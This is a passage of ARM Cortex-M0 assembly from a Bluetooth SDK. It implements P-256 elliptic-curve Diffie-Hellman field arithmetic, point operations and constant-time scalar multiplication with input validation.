r8,r0 movs r0,#0 adcs r4,r0 adcs r5,r0 adcs r6,r0 adcs r7,r0 mov r0,r8 push {r0,r1,r2,r3,r4,r5,r6,r7} frame address sp,108 ldr r4,[sp,#32] ldm r4,{r0,r1,r2,r3,r4,r5,r6,r7} subs r4,r0 sbcs r5,r1 sbcs r6,r2 sbcs r7,r3 sbcs r0,r0 eors r4,r0 eors r5,r0 eors r6,r0 eors r7,r0 subs r4,r0 sbcs r5,r0 sbcs r6,r0 sbcs r7,r0 bl P256_sqr128 mvns r0,r0 mvns r1,r1 mvns r2,r2 mvns r3,r3 mvns r4,r4 mvns r5,r5 mvns r6,r6 mvns r7,r7 mov r8,r4 mov r9,r5 mov r10,r6 mov r11,r7 subs r4,r4 pop {r4,r5,r6,r7} frame address sp,92 adcs r0,r4 adcs r1,r5 adcs r2,r6 adcs r3,r7 mov r12,r4 ;movs r4,#16 ;add r4,lr add r4,sp,#20+16 stm r4!,{r0,r1,r2,r3} mov r4,r12 mov r0,r8 adcs r0,r4 mov r8,r0 mov r1,r9 adcs r1,r5 mov r9,r1 mov r2,r10 adcs r2,r6 mov r10,r2 mov r3,r11 adcs r3,r7 mov r11,r3 movs r0,#0 adcs r0,r0 mov r12,r0 ;mov r0,lr add r0,sp,#20 ldm r0,{r0,r1,r2,r3,r4,r5,r6,r7} adds r0,r4 adcs r1,r5 adcs r2,r6 adcs r3,r7 ;movs r4,#16 ;add r4,lr add r4,sp,#20+16 stm r4!,{r0,r1,r2,r3} ;mov lr,r4 mov r0,r13 ldm r0!,{r4,r5,r6,r7} mov r1,r8 adcs r4,r1 mov r1,r9 adcs r5,r1 mov r1,r10 adcs r6,r1 mov r1,r11 adcs r7,r1 ;mov r0,lr add r0,sp,#20+32 stm r0!,{r4,r5,r6,r7} pop {r4,r5,r6,r7} frame address sp,76 mov r1,r12 movs r2,#0 mvns r2,r2 adcs r1,r2 asrs r2,r1,#4 adds r4,r1 adcs r5,r2 adcs r6,r2 adcs r7,r2 stm r0!,{r4,r5,r6,r7} add sp,#4 frame address sp,72 b reduce endp endif ; *r0 = output, *r1 = a, *r2 = b P256_addmod proc push {r0,lr} frame push {lr} frame address sp,8 ldm r1!,{r0,r3,r4} ldm r2!,{r5,r6,r7} adds r0,r5 adcs r3,r6 adcs r4,r7 mov r8,r0 mov r9,r3 mov r10,r4 ldm r1!,{r5,r6} ldm r2!,{r3,r4} adcs r5,r3 adcs r6,r4 ldm r1,{r1,r3,r4} ldm r2,{r0,r2,r7} adcs r1,r0 adcs r3,r2 adcs r4,r7 movs r7,#0 adcs r7,r7 subs r0,r0 ;set r0 to 0 and C to 1 mov r2,r8 mov r8,r7 mov r7,r9 mov r9,r4 mov r4,r10 adcs r2,r0 mov r10,r2 adcs r7,r0 mov r11,r7 adcs r4,r0 sbcs r5,r0 sbcs r6,r0 sbcs r1,r0 movs r0,#1 sbcs r3,r0 movs r0,#0 mov r2,r9 adcs r2,r0 mov r7,r8 sbcs r7,r0 ; r10 r11 r4 r5 | r6 r1 r3 r2 | r7 mov r8,r3 mov r3,r11 mov r11,r2 mov r2,r10 ; r2 r3 r4 r5 | r6 r1 r8 r11 | r7 b reduce2 endp ; *r0 = output, *r1 = a, *r2 = b P256_submod proc push {r0,lr} frame push {lr} frame address sp,8 ldm r1!,{r0,r3,r4} ldm r2!,{r5,r6,r7} subs r0,r5 sbcs r3,r6 sbcs r4,r7 mov r8,r0 mov r9,r3 mov r10,r4 ldm r1!,{r5,r6} ldm r2!,{r3,r4} sbcs r5,r3 sbcs r6,r4 ldm r1,{r1,r3,r4} ldm r2,{r0,r2,r7} sbcs r1,r0 sbcs r3,r2 sbcs r4,r7 sbcs r7,r7 mov r2,r8 mov r8,r3 mov r11,r4 mov r3,r9 mov r4,r10 b reduce2 endp ; in: *r0 = output (8 words) ; out: r0 is preserved P256_load_1 proc movs r1,#1 stm r0!,{r1} movs r1,#0 movs r2,#0 stm r0!,{r1-r2} stm r0!,{r1-r2} stm r0!,{r1-r2} stm r0!,{r1} subs r0,#32 bx lr endp ; in: *r1 ; out: *r0 P256_to_montgomery proc push {r4-r7,lr} frame push {r4-r7,lr} adr r2,P256_R2_mod_p bl P256_mulmod pop {r4-r7,pc} endp align 4 ; (2^256)^2 mod p P256_R2_mod_p dcd 3 dcd 0 dcd 0xffffffff dcd 0xfffffffb dcd 0xfffffffe dcd 0xffffffff dcd 0xfffffffd dcd 4 ; in: *r1 ; out: *r0 P256_from_montgomery proc push {r4-r7,lr} frame push {r4-r7,lr} movs r2,#0 movs r3,#0 push {r2-r3} frame address sp,28 push {r2-r3} frame address sp,36 push {r2-r3} frame address sp,44 movs r2,#1 push {r2-r3} frame address sp,52 mov r2,sp bl P256_mulmod add sp,#32 frame address sp,20 pop {r4-r7,pc} endp ; Elliptic curve operations on the NIST curve P256 ; Checks if a point is on curve ; in: *r0 = x,y(,scratch) in Montgomery form ; out: r0 = 1 if on curve, otherwise 0 P256_point_is_on_curve proc if use_interpreter == 1 push {r0,lr} frame push {lr} frame address sp,8 adr r2,P256_point_is_on_curve_program bl P256_interpreter ldr r0,[sp] adds r0,#64 adr r1,P256_b_mont bl P256_greater_or_equal_than beq %f0 adr r0,P256_b_mont ldr r1,[sp] adds r1,#64 bl P256_greater_or_equal_than 0 pop {r1,pc} else push {r0,r4-r7,lr} frame push {r4-r7,lr} frame address sp,24 ; We verify y^2 - (x^3 - 3x) = b ; y^2 mov r1,r0 adds r1,#32 sub sp,#32 frame address sp,56 mov r0,sp bl P256_sqrmod ; x^2 ldr r1,[sp,#32] sub sp,#32 frame address sp,88 mov r0,sp bl P256_sqrmod ; x^3 mov r0,sp ldr r1,[sp,#64] mov r2,sp bl P256_mulmod ; x^3 - 3x movs r0,#3 0 push {r0} frame address sp,92 add r0,sp,#4 add r1,sp,#4 ldr r2,[sp,#68] bl P256_submod pop {r0} frame address sp,88 subs r0,#1 bne %b0 ; y^2 - (x^3 - 3x) mov r0,sp add r1,sp,#32 mov r2,sp bl P256_submod ; compare with b mov r0,sp adr r1,P256_b_mont bl P256_greater_or_equal_than beq %f1 adr r0,P256_b_mont mov r1,sp bl P256_greater_or_equal_than 1 add sp,#68 frame address sp,20 pop {r4-r7,pc} endif endp align 4 P256_b_mont dcd 0x29c4bddf dcd 0xd89cdf62 dcd 0x78843090 dcd 0xacf005cd dcd 0xf7212ed6 dcd 0xe5a220ab dcd 0x04874834 dcd 0xdc30061d if use_interpreter == 1 P256_point_is_on_curve_program dcw 0x2040 dcw 0x2130 dcw 0x1113 dcw 0x4113 dcw 0x4113 dcw 0x4113 dcw 0x4501 dcw 0x0000 endif ; input: *r0 = value, *r1 = limit ; output: 1 if value >= limit, otherwise 0 P256_greater_or_equal_than proc push {r4-r6,lr} frame push {r4-r6,lr} subs r5,r5 ; set r5 to 0 and C to 1 mvns r6,r5 ; set r6 to -1 movs r2,#8 0 ldm r0!,{r3} ldm r1!,{r4} sbcs r3,r4 add r2,r2,r6 tst r2,r2 bne %b0 adcs r5,r5 mov r0,r5 pop {r4-r6,pc} endp ; in: *r0 = output location, *r1 = input, *r2 = 0/1, *r3 = m ; if r2 = 0, then *r0 is set to *r1 ; if r2 = 1, then *r0 is set to m - *r1 ; note that *r1 should be in the range [1,m-1] ; out: r0 and r1 will have advanced 32 bytes, r2 will remain as the input P256_negate_mod_m_if proc push {r4-r7,lr} frame push {r4-r7,lr} movs r4,#1 rsbs r5,r4,#0 ; r5=-1 mov r8,r5 subs r4,r4,r2 ; r4=!r2, C=1 movs r6,#8 0 ldm r1!,{r5} ldm r3!,{r7} sbcs r7,r5 muls r7,r2,r7 muls r5,r4,r5 add r7,r7,r5 stm r0!,{r7} add r6,r6,r8 tst r6,r6 bne %b0 pop {r4-r7,pc} endp ; copies 8 words ; in: *r0 = result, *r1 = input ; out: *r0 = end of result, *r1 = end of input P256_copy32 proc push {r4-r5,lr} frame push {r4-r5,lr} ldm r1!,{r2-r5} stm r0!,{r2-r5} ldm r1!,{r2-r5} stm r0!,{r2-r5} pop {r4-r5,pc} endp ; copies 32 bytes ; in: *r0 = result, *r1 = input ; out: *r0 = end of result, *r1 = end of input P256_copy32_unaligned proc movs r2,#32 add r2,r0 0 ldrb r3,[r1] strb r3,[r0] adds r1,#1 adds r0,#1 cmp r0,r2 bne %b0 bx lr endp ; Selects one of many values ; *r0 = output, *r1 = table, r2 = index to choose [0..7] P256_select proc push {r2,r4-r7,lr} frame push {r4-r7,lr} frame address sp,24 movs r6,#4 0 push {r0,r6} frame address sp,32 movs r7,#0 mov r8,r7 mov r9,r7 mov r10,r7 mov r11,r7 mov r12,r7 mov lr,r7 1 ldr r0,[sp,#8] eors r0,r7 mrs r0,apsr lsrs r0,#30 ldm r1!,{r2-r4} muls r2,r0,r2 muls r3,r0,r3 muls r4,r0,r4 add r8,r2 add r9,r3 add r10,r4 ldm r1!,{r2-r4} muls r2,r0,r2 muls r3,r0,r3 muls r4,r0,r4 add r11,r2 add r12,r3 add lr,r4 adds r1,#72 adds r7,#1 cmp r7,#8 bne %b1 pop {r0,r6} frame address sp,24 mov r2,r8 mov r3,r9 mov r4,r10 stm r0!,{r2-r4} mov r2,r11 mov r3,r12 mov r4,lr stm r0!,{r2-r4} subs r1,#248 subs r1,#248 subs r1,#248 subs r6,#1 bne %b0 pop {r0,r4-r7,pc} endp ; Doubles the point in Jacobian form (integers are in Montgomery form) ; *r0 = out, *r1 = in P256_double_j proc if use_interpreter == 1 adr r2,P256_double_j_prog b P256_interpreter else push {r0,r1,r4-r7,lr} frame push {r4-r7,lr} frame address sp,28 ; https://eprint.iacr.org/2014/130.pdf, algorithm 10 ; t1 = Z1^2 sub sp,#32 frame address sp,60 mov r0,sp adds r1,#64 bl P256_sqrmod ; Z2 = Y1 * Z1 ldr r0,[sp,#32] ldr r1,[sp,#36] adds r0,#64 adds r1,#32 movs r2,#32 adds r2,r1 bl P256_mulmod ; t2 = X1 + t1 ldr r1,[sp,#36] mov r2,sp sub sp,#32 frame address sp,92 mov r0,sp bl P256_addmod ; t1 = X1 - t1 ldr r1,[sp,#68] add r2,sp,#32 mov r0,r2 bl P256_submod ; t1 = t1 * t2 add r1,sp,#32 mov r2,sp mov r0,r1 bl P256_mulmod ; t2 = t1 / 2 add sp,#32 frame address sp,60 mov r7,sp ldm r7!,{r0-r3} lsls r6,r0,#31 asrs r5,r6,#31 lsrs r6,#31 movs r4,#0 adds r0,r5 adcs r1,r5 adcs r2,r5 adcs r3,r4 push {r0-r3} frame address sp,76 ldm r7!,{r0-r3} adcs r0,r4 adcs r1,r4 adcs r2,r6 adcs r3,r5 movs r4,#0 adcs r4,r4 lsls r7,r4,#31 lsrs r6,r3,#1 orrs r7,r6 lsls r6,r3,#31 lsrs r5,r2,#1 orrs r6,r5 lsls r5,r2,#31 lsrs r4,r1,#1 orrs r5,r4 lsls r4,r1,#31 lsrs r3,r0,#1 orrs r4,r3 lsls r3,r0,#31 mov r8,r3 pop {r0-r3} frame address sp,60 push {r4-r7} frame address sp,76 mov r7,r8 lsrs r6,r3,#1 orrs r7,r6 lsls r6,r3,#31 lsrs r5,r2,#1 orrs r6,r5 lsls r5,r2,#31 lsrs r4,r1,#1 orrs r5,r4 lsls r4,r1,#31 lsrs r3,r0,#1 orrs r4,r3 push {r4-r7} frame address sp,92 ; t1 = t1 + t2 add r1,sp,#32 mov r2,sp mov r0,r1 bl P256_addmod ; t2 = t1^2 mov r0,sp add r1,sp,#32 bl P256_sqrmod ; Y2 = Y1^2 ldr r0,[sp,#64] ldr r1,[sp,#68] adds r0,#32 adds r1,#32 bl P256_sqrmod ; t3 = Y2^2 ldr r1,[sp,#64] adds r1,#32 sub sp,#32 frame address sp,124 mov r0,sp bl P256_sqrmod ; Y2 = X1 * Y2 ldr r0,[sp,#96] ldr r1,[sp,#100] adds r0,#32 mov r2,r0 bl P256_mulmod ; X2 = 2 * Y2 ldr r0,[sp,#96] mov r1,r0 adds r1,#32 mov r2,r1 bl P256_addmod ; X2 = t2 - X2 ldr r0,[sp,#96] add r1,sp,#32 mov r2,r0 bl P256_submod ; t2 = Y2 - X2 ldr r2,[sp,#96] mov r1,r2 adds r1,#32 add r0,sp,#32 bl P256_submod ; t1 = t1 * t2 add r0,sp,#64 add r1,sp,#64 add r2,sp,#32 bl P256_mulmod ; Y2 = t1 - t3 ldr r0,[sp,#96] adds r0,#32 add r1,sp,#64 mov r2,sp bl P256_submod add sp,#104 frame address sp,20 pop {r4-r7,pc} endif endp ; Adds or subtracts points in Jacobian form (integers are in Montgomery form) ; The first operand is located in *r0, the second in *r1 (may not overlap) ; The result is stored at *r0 ; ; Requirements: ; - no operand is the point at infinity ; - both operand must be different ; - one operand must not be the negation of the other ; If requirements are not met, the returned Z point will be 0 P256_add_j proc if use_interpreter == 1 adr r2,P256_add_j_prog b P256_interpreter else push {r0,r1,r4-r7,lr} frame push {r4-r7,lr} frame address sp,28 ; Here a variant of ; https://www.hyperelliptic.org/EFD/g1p/auto-code/shortw/jacobian-3/addition/add-1998-cmo-2.op3 ; is used, but rearranged and uses less temporaries. ; The first operand to the function is both (X3,Y3,Z3) and (X2,Y2,Z2). ; The second operand to the function is (X1,Y1,Z1) ; Z1Z1 = Z1^2 sub sp,#32 frame address sp,60 mov r0,sp adds r1,#64 bl P256_sqrmod ; U2 = X2*Z1Z1 ldr r1,[sp,#32] mov r2,sp mov r0,r1 bl P256_mulmod ; t1 = Z1*Z1Z1 ldr r1,[sp,#36] adds r1,#64 mov r2,sp mov r0,sp bl P256_mulmod ; S2 = Y2*t1 ldr r1,[sp,#32] adds r1,#32 mov r2,sp mov r0,r1 bl P256_mulmod ; Z2Z2 = Z2^2 sub sp,#32 frame address sp,92 mov r0,sp ldr r1,[sp,#64] adds r1,#64 bl P256_sqrmod ; U1 = X1*Z2Z2 ldr r1,[sp,#68] mov r2,sp add r0,sp,#32 bl P256_mulmod ; t2 = Z2*Z2Z2 ldr r1,[sp,#64] adds r1,#64 mov r2,sp mov r0,sp bl P256_mulmod ; S1 = Y1*t2 ldr r1,[sp,#68] adds r1,#32 mov r2,sp mov r0,sp bl P256_mulmod ; H = U2-U1 ldr r1,[sp,#64] add r2,sp,#32 mov r0,r1 bl P256_submod ; HH = H^2 ldr r1,[sp,#64] sub sp,#32 frame address sp,124 mov r0,sp bl P256_sqrmod ; Z3 = Z2*H ldr r2,[sp,#96] mov r1,r2 adds r1,#64 mov r0,r1 bl P256_mulmod ; Z3 = Z1*Z3 ldr r1,[sp,#100] adds r1,#64 ldr r2,[sp,#96] adds r2,#64 mov r0,r2 bl P256_mulmod ; HHH = H*HH ldr r1,[sp,#96] mov r2,sp mov r0,r1 bl P256_mulmod ; r = S2-S1 ldr r1,[sp,#96] adds r1,#32 add r2,sp,#32 mov r0,r1 bl P256_submod ; V = U1*HH add r1,sp,#64 mov r2,sp mov r0,r1 bl P256_mulmod ; t3 = r^2 ldr r1,[sp,#96] adds r1,#32 mov r0,sp bl P256_sqrmod ; t2 = S1*HHH add r1,sp,#32 ldr r2,[sp,#96] add r0,sp,#32 bl P256_mulmod ; X3 = t3-HHH mov r1,sp ldr r2,[sp,#96] mov r0,r2 bl P256_submod ; t3 = 2*V add r1,sp,#64 add r2,sp,#64 mov r0,sp bl P256_addmod ; X3 = X3-t3 ldr r1,[sp,#96] mov r2,sp mov r0,r1 bl P256_submod ; t3 = V-X3 add r1,sp,#64 ldr r2,[sp,#96] mov r0,sp bl P256_submod ; t3 = r*t3 ldr r1,[sp,#96] adds r1,#32 mov r2,sp mov r0,sp bl P256_mulmod ; Y3 = t3-t2 mov r1,sp add r2,sp,#32 ldr r0,[sp,#96] adds r0,#32 bl P256_submod add sp,#104 frame address sp,20 pop {r4-r7,pc} endif endp if use_interpreter == 1 align 4 P256_add_j_prog dcw 0x2080 dcw 0x1330 dcw 0x1080 dcw 0x1440 dcw 0x2150 dcw 0x1061 dcw 0x1151 dcw 0x1171 dcw 0x4330 dcw 0x2230 dcw 0x1553 dcw 0x1585 dcw 0x1332 dcw 0x4441 dcw 0x1002 dcw 0x2240 dcw 0x1113 dcw 0x4323 dcw 0x3200 dcw 0x4332 dcw 0x4203 dcw 0x1242 dcw 0x4421 dcw 0x0000 align 4 P256_double_j_prog dcw 0x2080 dcw 0x1578 dcw 0x3160 dcw 0x4060 dcw 0x1001 dcw 0x5100 dcw 0x3001 dcw 0x2100 dcw 0x2470 dcw 0x2240 dcw 0x1464 dcw 0x3344 dcw 0x4313 dcw 0x4143 dcw 0x1001 dcw 0x4402 dcw 0x0000 ; in: *r0 = output, *r1 = input P256_div2mod proc mov r9,r0 mov r7,r1 ldm r7!,{r0-r3} lsls r6,r0,#31 asrs r5,r6,#31 lsrs r6,#31 movs r4,#0 adds r0,r5 adcs r1,r5 adcs r2,r5 adcs r3,r4 push {r0-r3} frame address sp,76 ldm r7!,{r0-r3} adcs r0,r4 adcs r1,r4 adcs r2,r6 adcs r3,r5 movs r4,#0 adcs r4,r4 lsls r7,r4,#31 lsrs r6,r3,#1 orrs r7,r6 lsls r6,r3,#31 lsrs r5,r2,#1 orrs r6,r5 lsls r5,r2,#31 lsrs r4,r1,#1 orrs r5,r4 lsls r4,r1,#31 lsrs r3,r0,#1 orrs r4,r3 lsls r3,r0,#31 mov r0,r9 adds r0,#16 stm r0!,{r4-r7} mov r7,r3 pop {r0-r3} lsrs r6,r3,#1 orrs r7,r6 lsls r6,r3,#31 lsrs r5,r2,#1 orrs r6,r5 lsls r5,r2,#31 lsrs r4,r1,#1 orrs r5,r4 lsls r4,r1,#31 lsrs r3,r0,#1 orrs r4,r3 mov r0,r9 stm r0!,{r4-r7} bx lr endp ; in: *r0 = op1, *r1 = op2, *r2 = program ; program is an array of 16-bit integers, ending with 0x0000 ; in an opcode, bit 12-15 is function to execute (exit, mul, sqr, add, sub, div2), ; bit 8-11 is dest, bit 4-7 is first operand, bit 0-3 is second operand ; the operand is encoded like this: ; operand 0-2 is temporary variable 0-2 ; operand 3-5 is op1[0], op1[1], op1[2] ; operand 6-8 is op2[0], op2[1], op2[2] ; each variable is 32 bytes ; for a function taking less than two parameters, the extra parameters are ignored P256_interpreter proc push {r4-r7,lr} frame push {r4-r7,lr} sub sp,#96 frame address sp,116 movs r3,#32 mov r4,r1 adds r5,r1,r3 adds r6,r5,r3 push {r4-r6} frame address sp,128 mov r4,r0 adds r5,r0,r3 adds r6,r5,r3 push {r4-r6} frame address sp,140 add r4,sp,#24 adds r5,r4,r3 adds r6,r5,r3 push {r4-r6} frame address sp,152 0 movs r4,#0x3c mov r5,sp ldrh r3,[r2] adds r2,#2 push {r2} frame address sp,156 lsls r2,r3,#2 ands r2,r4 ldr r2,[r5,r2] lsrs r1,r3,#2 ands r1,r4 ldr r1,[r5,r1] lsrs r0,r3,#6 ands r0,r4 ldr r0,[r5,r0] adr r5,P256_functions-4 lsrs r6,r3,#10 ands r6,r4 beq %f1 ldr r6,[r5,r6] blx r6 pop {r2} frame address sp,152 b %b0 1 frame address sp,156 add sp,#136 frame address sp,20 pop {r4-r7,pc} endp align 4 P256_functions dcd P256_mulmod ;1 dcd P256_sqrmod ;2 dcd P256_addmod ;3 dcd P256_submod ;4 dcd P256_div2mod ;5 endif if use_smaller_modinv == 1 ; in/out: r0-r7 P256_modinv proc push {r0-r7,lr} frame push {r4-r7,lr} frame address sp,36 sub sp,#36 frame address sp,72 mov r0,sp bl P256_load_1 mov r1,r0 bl P256_to_montgomery adr r0,P256_p ldm r0,{r0-r7} subs r0,#2 push {r0-r7} frame address sp,104 movs r0,#255 0 str r0,[sp,#64] add r0,sp,#32 add r1,sp,#32 bl P256_sqrmod ldr r0,[sp,#64] lsrs r1,r0,#3 add r1,r1,sp ldrb r1,[r1] movs r2,#7 ands r2,r2,r0 lsrs r1,r2 movs r2,#1 tst r1,r2 beq %f1 add r0,sp,#32 add r1,sp,#32 add r2,sp,#68 bl P256_mulmod 1 ldr r0,[sp,#64] subs r0,#1 bpl %b0 add sp,#32 frame address sp,72 pop {r0-r7} frame address sp,40 add sp,#36 frame address sp,4 pop {pc} endp else ; in: *r0 = input/output, r1 = count, *r2 = operand for final multiplication P256_sqrmod_many_and_mulmod proc push {r0,r2,lr} frame push {lr} frame address sp,12 cmp r1,#0 beq %f1 0 push {r1} frame address sp,16 ldr r0,[sp,#4] mov r1,r0 bl P256_sqrmod pop {r1} frame address sp,12 subs r1,#1 bne %b0 1 pop {r0,r1} frame address sp,4 mov r2,r0 bl P256_mulmod pop {pc} endp ; in: *r0 = value in/out ; for modinv, call input a, then if a = A * R % p, then it calculates A^-1 * R % p = (a/R)^-1 * R % p = R^2 / a % p P256_modinv proc push {r0,lr} frame push {lr} frame address sp,8 ldm r0,{r0-r7} push {r0-r7} frame address sp,40 ; t = a^2*a ldr r0,[sp,#32] movs r1,#1 mov r2,sp bl P256_sqrmod_many_and_mulmod ldr r0,[sp,#32] ldm r0,{r0-r7} push {r0-r7} frame address sp,72 ; a4_2 = a2_0^(2^2) ldr r0,[sp,#64] mov r1,r0 bl P256_sqrmod ldr r0,[sp,#64] mov r1,r0 bl P256_sqrmod ldr r0,[sp,#64] ldm r0,{r0-r7} push {r0-r7} frame address sp,104 ; a4_0 = a4_2*a2_0 ldr r0,[sp,#96] mov r1,sp add r2,sp,#32 bl P256_mulmod add r0,sp,#32 ldr r1,[sp,#96] bl P256_copy32 ldr r7,[sp,#96] movs r4,#0 0 adr r2,P256_invtbl ldrsb r0,[r2,r4] adds r2,#1 ldrb r5,[r2,r4] lsls r6,r0,#2 bpl %f1 sub sp,#32 frame address sp,200 ; not always correct mov r0,sp mov r1,r7 bl P256_copy32 1 mov r0,r7 uxtb r1,r6 mov r2,r5 add r2,sp push {r4,r7} frame address sp,208 ; not always correct bl P256_sqrmod_many_and_mulmod pop {r4,r7} frame address sp,200 ; not always correct adds r4,#2 cmp r4,#22 bne %b0 add sp,#6*32+4 frame address sp,4 pop {pc} endp align 4 P256_invtbl dcb ((8-4)>>2) dcb 32 dcb ((16-8)>>2)+128 dcb 0 dcb (16>>2)+128 dcb 0 dcb (32>>2)+128 dcb 5*32 dcb (192-64)>>2 dcb 0 dcb (224-192)>>2 dcb 0 dcb (240-224)>>2 dcb 32 dcb (248-240)>>2 dcb 64 dcb (252-248)>>2 dcb 128 dcb (256-252)>>2 dcb 96 dcb 0 dcb 5*32 endif ; *r0 = output affine montgomery/input jacobian montgomery P256_jacobian_to_affine proc push {r0,r4-r7,lr} frame push {r4-r7,lr} frame address sp,24 adds r0,#64 ldm r0,{r0-r7} if use_smaller_modinv == 0 push {r0-r7} frame address sp,56 mov r0,sp bl P256_modinv else bl P256_modinv push {r0-r7} frame address sp,56 endif mov r1,sp sub sp,#32 frame address sp,88 mov r0,sp bl P256_sqrmod add r1,sp,#32 mov r2,sp mov r0,r1 bl P256_mulmod mov r1,sp ldr r0,[sp,#64] mov r2,r0 bl P256_mulmod add r1,sp,#32 ldr r0,[sp,#64] adds r0,#32 mov r2,r0 bl P256_mulmod add sp,#68 frame address sp,20 pop {r4-r7,pc} endp ; performs r0 := abs(r0) P256_abs_int proc rsbs r2,r0,#0 asrs r3,r0,#31 ands r3,r2 asrs r2,#31 ands r0,r2 orrs r0,r0,r3 bx lr endp ; in: *r0 = output, *r1 = point, *r2 = scalar, r3 = include y in result (1/0) ; out: r0 = 1 on success, 0 if invalid point or scalar P256_pointmult proc export P256_pointmult push {r4-r7,lr} frame push {r4-r7,lr} mov r4,r8 mov r5,r9 mov r6,r10 mov r7,r11 push {r0-r1,r4-r7} frame address sp,44 frame save {r8-r11},-36 sub sp,#256 frame address sp,300 lsls r6,r3,#16 ; load scalar into an aligned position add r0,sp,#32 mov r1,r2 bl P256_copy32_unaligned ; fail if scalar == 0 mov r0,sp bl P256_load_1 add r0,sp,#32 mov r1,sp bl P256_greater_or_equal_than bne %f1 0 add sp,#256+8 frame address sp,36 b %f10 frame address sp,300 1 ; fail if not (scalar < n) add r0,sp,#32 adr r1,P256_order bl P256_greater_or_equal_than subs r0,#1 beq %b0 ; select scalar if scalar is odd and -scalar mod n if scalar is even mov r0,sp add r1,sp,#32 ldr r2,[r1] movs r3,#1 ands r2,r3 eors r2,r3 add r6,r2 ; save original parity of scalar adr r3,P256_order bl P256_negate_mod_m_if ; stack layout (initially offset 768): ; 0-767: table of jacobian points P, 3P, 5P, ..., 15P ; 768-863: current point (in jacobian form) ; 864-927: scalar rewritten into 4-bit window, each element having an odd signed value ; 928-1023: extracted selected point from the table ; 1024-1027: output pointer ; 1028-1031: input point ; rewrite scalar into 4-bit window where every value is odd add r1,sp,#864-768 ldr r0,[sp] lsls r0,#28 lsrs r0,#28 movs r2,#1 mov r4,sp movs r5,#1 2 lsrs r3,r2,#1 ldrb r3,[r4,r3] lsls r7,r2,#31 lsrs r7,#29 lsrs r3,r7 lsls r3,#28 lsrs r3,#28 movs r7,#1 ands r7,r3 eors r7,r5 lsls r7,#4 subs r0,r7 strb r0,[r1] adds r1,#1 orrs r3,r5 mov r0,r3 adds r2,#1 cmp r2,#64 bne %b2 strb r0,[r1] ; load point into an aligned position ldr r1,[sp,#1028-768] sub sp,#384 frame address sp,684 sub sp,#384 frame address sp,1068 mov r0,sp bl P256_copy32_unaligned bl P256_copy32_unaligned ; fail if not x, y < p mov r0,sp adr r1,P256_p bl P256_greater_or_equal_than subs r0,#1 bne %f4 3 add sp,#384 frame address sp,684 add sp,#384 frame address sp,300 b %b0 frame address sp,1068 4 add r0,sp,#32 adr r1,P256_p bl P256_greater_or_equal_than subs r0,#1 beq %b3 ; convert basepoint x, y to montgomery form, ; and place result as first element in table of Jacobian points mov r0,sp mov r1,sp bl P256_to_montgomery add r0,sp,#32 add r1,sp,#32 bl P256_to_montgomery ; check that the basepoint lies on the curve mov r0,sp bl P256_point_is_on_curve cmp r0,#0 beq %b3 ; load montgomery 1 for Z add r0,sp,#64 bl P256_load_1 mov r1,r0 bl P256_to_montgomery ; temporarily calculate 2P add r0,sp,#7*96 mov r1,sp bl P256_double_j ; calculate rest of the table (3P, 5P, ..., 15P) add r4,sp,#96 movs r5,#7 5 mov r0,r4 add r1,sp,#7*96 bl P256_copy32 bl P256_copy32 bl P256_copy32 mov r0,r4 mov r1,r0 subs r1,#96 bl P256_add_j adds r4,#96 subs r5,#1 bne %b5 ; select the initial current point based on the first highest 4 scalar bits add r7,sp,#928 subs r7,#1 ldrb r0,[r7] subs r7,#1 sxtb r0,r0 bl P256_abs_int lsrs r2,r0,#1 add r0,sp,#768 mov r1,sp bl P256_select ; main loop iterating from index 62 to 0 of the windowed scalar add r5,sp,#864 6 movs r4,#4 7 add r0,sp,#768 mov r1,r0 bl P256_double_j subs r4,#1 bne %b7 ; select the point to add, and then add to the current point ldrb r0,[r7] subs r7,#1 sxtb r0,r0 lsrs r4,r0,#31 bl P256_abs_int lsrs r2,r0,#1 add r0,sp,#928 mov r1,sp bl P256_select add r0,sp,#960 mov r1,r0 mov r2,r4 adr r3,P256_p bl P256_negate_mod_m_if cmp r7,r5 bge %f8 ; see note below add r0,sp,#672 add r1,sp,#768 bl P256_double_j 8 add r0,sp,#768 add r1,sp,#928 bl P256_add_j cmp r7,r5 bge %b6 ; Note: ONLY for the scalars 2 and -2 mod n, the last addition will ; be an addition where both input values are equal. The addition algorithm ; fails for such a case (returns Z=0) and we must therefore use the doubling ; formula. Both values are computed and then the correct value is selected ; in constant time based on whether the addition formula returned Z=0. ; Obviously if the scalar (private key) is properly randomized, this would ; (with extremely high probability), never occur. mov r0,sp bl P256_load_1 add r0,sp,#768+64 mov r1,sp bl P256_greater_or_equal_than adds r2,r0,#6 add r0,sp,#928 add r1,sp,#96 bl P256_select add sp,#464 ;928/2 frame address sp,604 add sp,#464 frame address sp,140 mov r0,sp bl P256_jacobian_to_affine mov r0,sp mov r1,sp bl P256_from_montgomery add r0,sp,#32 add r1,sp,#32 bl P256_from_montgomery add r0,sp,#32 add r1,sp,#32 uxtb r2,r6 adr r3,P256_p bl P256_negate_mod_m_if ldr r0,[sp,#96] mov r1,sp bl P256_copy32_unaligned lsrs r6,#16 beq %f9 bl P256_copy32_unaligned 9 movs r0,#1 add sp,#96+8 frame address sp,36 10 pop {r4-r7} frame address sp,20 mov r8,r4 mov r9,r5 mov r10,r6 mov r11,r7 pop {r4-r7,pc} endp ; in: *r0 = output, *r1 = private key scalar ; out: r0 = 1 on success, 0 if scalar is out of range P256_ecdh_keygen proc export P256_ecdh_keygen mov r2,r1 adr r1,P256_basepoint movs r3,#1 b P256_pointmult endp ; in: *r0 = output, *r1 = other's public point, *r2 = private key scalar ; out: r0 = 1 on success, 0 if invalid public point or private key scalar P256_ecdh_shared_secret proc export P256_ecdh_shared_secret movs r3,#0 b P256_pointmult endp align 4 P256_p dcd 0xffffffff dcd 0xffffffff dcd 0xffffffff dcd 0 dcd 0 dcd 0 dcd 1 dcd 0xffffffff P256_order dcd 0xFC632551 dcd 0xF3B9CAC2 dcd 0xA7179E84 dcd 0xBCE6FAAD dcd 0xFFFFFFFF dcd 0xFFFFFFFF dcd 0 dcd 0xFFFFFFFF P256_basepoint dcd 0xD898C296 dcd 0xF4A13945 dcd 0x2DEB33A0 dcd 0x77037D81 dcd 0x63A440F2 dcd 0xF8BCE6E5 dcd 0xE12C4247 dcd 0x6B17D1F2 dcd 0x37BF51F5 dcd 0xCBB64068 dcd 0x6B315ECE dcd 0x2BCE3357 dcd 0x7C0F9E16 dcd 0x8EE7EB4A dcd 0xFE1A7F9B dcd 0x4FE342E2 end

17HXX/BLE5_ST17H66

45,709

ST17H66_SDK_3.0.9/components/ethermind/external/crypto/asm_ecdh_p256/P256-cortex-m0-ecdh-keil.s

